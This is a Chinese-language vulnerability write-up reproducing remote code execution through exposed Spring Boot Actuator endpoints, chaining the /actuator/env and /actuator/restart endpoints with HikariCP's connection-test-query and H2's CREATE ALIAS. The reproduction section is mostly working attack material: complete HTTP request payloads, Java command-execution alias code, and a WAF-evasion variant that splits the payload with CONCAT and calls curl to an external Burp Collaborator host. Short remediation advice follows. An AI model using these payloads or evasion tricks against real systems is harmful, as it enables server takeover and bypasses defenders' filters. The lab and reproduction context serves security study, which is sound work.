1.Spring Boot & Actuator介绍

Spring Boot,其设计目的是用来简化新Spring应用的初始搭建以及开发过程,该框架使用了特定的方式来进行配置,快速的启动Spring应用。人员不再需要定义样板化的配置。Spring Boot应用本质上就是一个基于Spring框架的应用,它是Spring对“约定优先于配置”理念的最佳实践产物,它能够帮助开发者更快速高效地构建基于Spring生态圈的应用。 引入Spring Boot actuator框架是为了服务作更好的监控与性能查看,Spring Boot actuator是一个为原生端点增加了更多的指标和度量信息,分为应用配置类,度量指标类。操作控制类,但是假如由于开发人员的疏忽把这些监控的请求地址都暴露出来了,攻击者会通过服务的配置信息对服务进行攻击,例如当我们访问/mappings这个返回这个服务控制器映射关系报告,可以查询到所有的服务接口信息包括参数信息。

Actuator提供了以下端点,默认除了/shutdown都是Enabled。使用时需要加/actuator前缀,如http://localhost:8080/my-app/actuator/health。

ID Description Enabled by default
auditevents 显示当前应用程序的审计事件信息 Yes
beans 显示应用上下文中创建的所有Bean Yes
caches 获取缓存信息 Yes
conditions 显示配置类和自动配置类(configuration and auto-configuration classes) 的状态及它们被应用或未被应用的原因 Yes
configprops 该端点用来获取应用中配置的属性信息报告 (所有@ConfigurationProperties的集合列表) Yes
env 获取应用所有可用的环境属性报告。包括: 环境变量、JVM属性、应用的配置配置、命令行中的参数 Yes
flyway 显示数据库迁移路径(如果有) Yes
health 显示应用的健康信息 Yes
httptrace 返回基本的HTTP跟踪信息。 (默认最多100 HTTP request-response exchanges). Yes
info 返回一些应用自定义的信息,我们可以在application.properties 配置文件中通过info前缀来设置这些属性:info.app.name=spring-boot-hello Yes
integrationgraph Shows the Spring Integration graph. Yes
loggers Shows and modifies the configuration of loggers in the application. Yes
liquibase Shows any Liquibase database migrations that have been applied. Yes
metrics 返回当前应用的各类重要度量指标,比如:内存信息、线程信息、垃圾回收信息等 Yes
mappings 返回所有Spring MVC的控制器映射关系报告 (所有@RequestMapping路径的集合列表) Yes
scheduledtasks 显示应用程序中的计划任务 Yes
sessions 允许从Spring会话支持的会话存储中检索和删除(retrieval and deletion) 用户会话。使用Spring Session对反应性Web应用程序的支持时不可用 Yes
shutdown 允许应用以优雅的方式关闭(默认情况下不启用) No
threaddump 执行一个线程dump Yes


如果使用web应用(Spring MVC, Spring WebFlux, 或者 Jersey),还可以使用以下端点:

ID Description Enabled by default
heapdump 返回一个GZip压缩的hprof堆dump文件 Yes
jolokia 通过HTTP暴露JMX beans(当Jolokia在类路径上时,WebFlux不可用) Yes
logfile 返回日志文件内容(如果设置了logging.file或logging.path属性的话), 支持使用HTTP Range头接收日志文件内容的部分信息 Yes
prometheus 以可以被Prometheus服务器抓取的格式显示metrics信息 Yes

2.环境搭建

环境使用的是ananaskr师傅的
https://github.com/ananaskr/springboot_actuator/tree/master/actuator_hikaricp
下载下来,导入idea
image.png
image.png

3.漏洞复现

3.1漏洞原理

HikariCP数据库连接池

Spring Boot 2.x默认使用的HikariCP数据库连接池提供了一个可以RCE的变量。这个变量就是spring.datasource.hikari.connection-test-query。这个变量与HikariCP中的connectionTestQuery配置相匹配。根据文档,此配置定义的是在从池中给出一个连接之前被执行的query,它的作用是验证数据库连接是否处于活动状态。简言之,无论何时一个恶心的数据库连接被建立时,spring.datasource.hikari.connection-test-query的值将会被作为一个SQL语句执行。然后利用SQL语句中的用户自定义函数,进行RCE。

H2 CREATE ALIAS 命令

H2数据库引擎是一个流行的java开发数据库,非常容易与Spring Boot集成,仅仅需要如下的一个dependency。

  1. <dependency>
  2. <groupId>com.h2database</groupId>
  3. <artifactId>h2</artifactId>
  4. <scope>runtime</scope>
  5. </dependency>

在H2数据库中有一个非常重要的命令,与PostgreSQL中的用户定义函数相似,可以用CREATE ALIAS创建一个java函数然后调用它,示例如下:

  1. CREATE ALIAS GET_SYSTEM_PROPERTY FOR "java.lang.System.getProperty";
  2. CALL GET_SYSTEM_PROPERTY('java.class.path');

仿照这个,创建命令执行的java函数可以如下:

  1. String shellexec(String cmd) throws java.io.IOException {
  2. java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream());
  3. if (s.hasNext()) {
  4. return s.next();
  5. } throw new IllegalArgumentException();
  6. }

那么RCE所需的SQL语句即:

  1. CREATE ALIAS EXEC AS "String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}";
  2. CALL EXEC('/Applications/Calculator.app/Contents/MacOS/Calculator');

3.2漏洞复现

在端点/actuator/env通过POST方法进行环境变量的赋值
payload:

  1. POST /actuator/env HTTP/1.1
  2. Host: 127.0.0.1:8080
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
  6. Accept-Encoding: gzip, deflate
  7. DNT: 1
  8. X-Forwarded-For: 127.0.0.1
  9. Connection: close
  10. Upgrade-Insecure-Requests: 1
  11. Content-Type: application/json
  12. Content-Length: 338
  13. {"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('calc');"}

image.png

执行RCE的SQL语句已经构建好,接下来就是触发一个新的数据库连接,通过向端点/actuator/restart发送POST请求,即可重启应用出发新的数据库连接。请求如下

  1. POST /actuator/restart HTTP/1.1
  2. Host: 127.0.0.1:8080
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
  6. Accept-Encoding: gzip, deflate
  7. DNT: 1
  8. X-Forwarded-For: 127.0.0.1
  9. Connection: close
  10. Upgrade-Insecure-Requests: 1
  11. Content-Type: application/json
  12. Content-Length: 2
  13. {}

image.png
成功弹出计算器

3.3过WAF

在这点上,可能会遇到常见的WAF过滤器,特别是对exec的过滤。然而,像这样的一个payload可以很容易地使用多种字符串拼接技术来绕过。比如使用CONCAT或HEXTORAW命令。上面的payload可写成

  1. CREATE ALIAS EXEC AS CONCAT('String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new',' java.util.Scanner(Runtime.getRun','time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }');
  2. CALL EXEC('curl http://x.burpcollaborator.net');

4.修复建议

引入security依赖,打开安全限制并进行身份验证。
同时设置单独的Actuator管理端口并配置不对外网开放。
拦截spring.datasource.hikari.connection-test-query

5.参考链接

https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database
https://xz.aliyun.com/t/7480
https://www.cnblogs.com/storml/p/10913142.html